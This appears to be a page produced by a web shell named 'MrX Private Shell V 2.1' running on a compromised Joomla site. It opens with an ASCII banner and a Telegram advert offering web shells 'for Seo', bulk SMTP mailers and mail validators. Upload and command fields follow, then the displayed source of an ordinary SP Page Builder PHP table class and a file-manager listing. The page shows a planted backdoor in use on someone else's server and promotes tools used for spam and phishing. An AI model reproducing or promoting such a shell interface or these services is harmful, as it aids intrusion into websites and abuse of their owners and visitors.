__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2022 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/

use Joomla\CMS\Factory;
use Joomla\CMS\Table\Table;
use Joomla\CMS\Access\Rules;

//no direct accees
defined ('_JEXEC') or die ('restricted aceess');

class SppagebuilderTablePage extends Table {

	function __construct(&$db) {
		parent::__construct('#__sppagebuilder', 'id', $db);
	}

	public function bind($array, $ignore = ''){
		//$array['title'] = preg_replace("@/\s+/@", ' ', $array['title']);

		$date = Factory::getDate();
		$user = Factory::getUser();
		
		if (empty($array['id'])) {
			if (!(int) $array['created_on']) {
				$array['created_on'] = $date->toSql();
			}

			if (empty($array['created_by'])) {
				$array['created_by'] = $user->get('id');
			}
		}
		// Bind the rules.
		if (isset($array['rules']) && is_array($array['rules']))
		{
			$rules = new Rules($array['rules']);
			$this->setRules($rules);
		}

		if ($this->_db->getServerType() == 'postgresql')
		{
			if (empty($array['id']))
			{
				unset($array['id']);
			}

			if (empty($array['hits']))
			{
				unset($array['hits']);
			}
		}
		
		return parent::bind($array, $ignore);
	}

	public function store($updateNulls = false)
	{
		$user = Factory::getUser();
		$date = Factory::getDate()->toSql();

		if ($this->id) {
			$this->modified = (string)$date;
			$this->modified_by = $user->get('id');
		}

		if (empty($this->hits)) {
			$this->hits = 0;
		}

		return parent::store($updateNulls);
	}

	public function check()
	{
		if (trim($this->title) === '')
		{
			return false;
		}

		return true;
	}
	
	protected function _getAssetTitle()
	{
		return $this->title;
	}
	
	/**
	 * Redefined asset name, as we support action control
	 */
	protected function _getAssetName() {
		$k = $this->_tbl_key;

		return 'com_sppagebuilder.page.'.(int) $this->$k;
	}
	
  /**
   * We provide our global ACL as parent
	 * @see Table::_getAssetParentId()
   */
	protected function _getAssetParentId(Table $table = NULL, $id = NULL)
	{
		$asset = Table::getInstance('Asset');
		$asset->loadByName('com_sppagebuilder');

		return $asset->id;
	}
}

Filemanager

Name Type Size Permission Actions
dashboard.php File 539 B 0664
page.php File 2.17 KB 0664
Filemanager